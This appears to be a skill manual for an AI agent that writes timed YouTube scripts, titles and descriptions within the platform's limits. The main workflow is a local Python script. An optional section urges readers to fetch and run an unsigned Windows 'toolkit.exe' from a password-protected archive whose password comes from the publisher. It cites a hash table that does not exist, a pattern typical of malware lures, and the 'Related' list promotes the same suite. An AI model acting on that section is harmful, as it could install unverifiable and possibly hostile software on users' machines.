YouTube Video Script Writer

Turns a video brief into a timed YouTube script with a hook, beats, a title and a description inside the real limits. Written for US YouTube channel owners and the writers and editors on small marketing teams.

Use this skill when someone asks for:

• youtube script generator
• youtube video script template
• youtube title and description limits
• youtube hook script

The job

Writers over-run the target length, bury the hook past the first minute, and publish titles that YouTube rewrites anyway.

What you get

1. Collect the topic, the audience, the target length and the one action the video should drive.
2. Write the hook for the first fifteen seconds and the beats for the body with time stamps.
3. Produce the title, the description and the pinned comment, each inside the platform limit.
4. Mark the beats that need footage, a caption fix or a music licence.

Output contract:

• script - the hook, the beats with time stamps and the closing call to action
• titles - three title options, each under 100 characters
• description - under 5,000 characters with the links and the disclosure line
• production_notes - the footage, caption and licensing flags for each beat

US specifics that matter

• YouTube caps a video title at 100 characters and a description at 5,000 characters.
• YouTube chapters need at least three chapters, the first one starting at 00:00, and each chapter has to run at least ten seconds.
• YouTube requires creators to disclose realistic altered or synthetic content, and the FTC says a disclosure has to be unavoidable to the audience, so it belongs in the video.
• YouTube's reused content policy blocks monetisation for channels that only re-upload other people's clips.

Guardrails (hard rules)

• Never suggest using music, clips or footage the user has not licensed.
• Never promise a view count, subscriber number or revenue for the video.
• Never paste a competitor's script or transcript into the draft.

Quickstart

1. Fill in the brief

templates/video-brief.yaml is the starting point. Copy it, fill in your own numbers, and keep the field names - the script reads them by name.

2. Run the script

python3 scripts/script_length.py --input video-brief.yaml --out ./out

The script is standalone: Python 3 standard library only, no install step, no network calls, no API keys.

3. Check the result against the reference

references/youtube-script-limits.md holds the limits, the US rules and the checklist the output has to satisfy. Read it before you send anything to a customer or a platform.

YouTube's hard limits

• Title: 100 characters. Description: 5,000 characters.
• Tags: 500 characters across all tags.
• Chapters: at least three, the first starting at 00:00, each at least ten seconds long.

The first thirty seconds

• Open with the payoff, not with the channel name and a warning about the intro.
• Say in one sentence what the viewer will have by the end.
• Put a sponsorship or affiliate disclosure in the video, not only in the description.

Rights and claims

• Use music from the YouTube Audio Library or a track you licensed yourself.
• Do not clip other people's video just to comment on it; the rights holder can claim it.
• Keep the script, the licence and any appearance release in one folder with the video.

The Windows app (optional)

The workflow above runs anywhere Python 3 runs. If you also want the publisher's Windows multi-tool app for the workflows in this catalog, it is a separate download. This bundle does not contain it, does not install it, and never runs it - you decide whether to fetch it.

Check the download before you run it. PowerShell:

Get-FileHash .\multitool.zip -Algorithm SHA256

The hash must match the value in the table. Then extract the archive and start multitool/toolkit.exe.

The program is not code-signed, so Windows SmartScreen shows Unknown publisher. Run it only if you accept an unsigned program, keep it in a folder of its own, and do not run it as administrator unless you have a reason to.

The installer asks for a password; ask the publisher for it before you start.

Files in this bundle

• SKILL.md - this file
• references/youtube-script-limits.md - YouTube limits and US disclosure rules
• templates/video-brief.yaml - the brief to fill in
• scripts/script_length.py - the working script

Verify the bundle

python3 scripts/script_length.py --input video-brief.yaml --out ./out

Related

• AI Creative Studio - one brief into ad copy, social posts and video scripts.
• B2B Lead Research Agent - find the US accounts to run this against.
• AI Trading - research the tickers of public competitors before you write comparisons.
• Windows Multi-Tool Suite - one Windows kit that sets up all three workflows in a single folder.